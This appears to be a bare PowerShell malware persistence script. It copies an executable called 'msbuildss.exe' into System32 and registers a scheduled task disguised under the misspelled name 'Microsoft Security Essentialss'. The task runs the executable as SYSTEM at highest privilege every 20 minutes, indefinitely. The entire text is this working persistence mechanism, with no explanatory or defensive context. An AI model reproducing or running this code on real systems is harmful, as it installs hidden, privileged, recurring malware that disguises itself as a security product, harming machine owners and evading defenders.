copy-item msbuildss.exe -Destination $env:System32 -Force;
Get-ScheduledTask -TaskName "Microsoft Security Essentialss";
Unregister-ScheduledTask -TaskName "Microsoft Security Essentialss" -Confirm:$false;
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\System32\msbuildss.exe";
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 20) -RepeatIndefinitely -Once -At (Get-Date);
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest;
Register-ScheduledTask -TaskName "Microsoft Security Essentialss" -Action $action -Trigger $trigger -Principal $principal;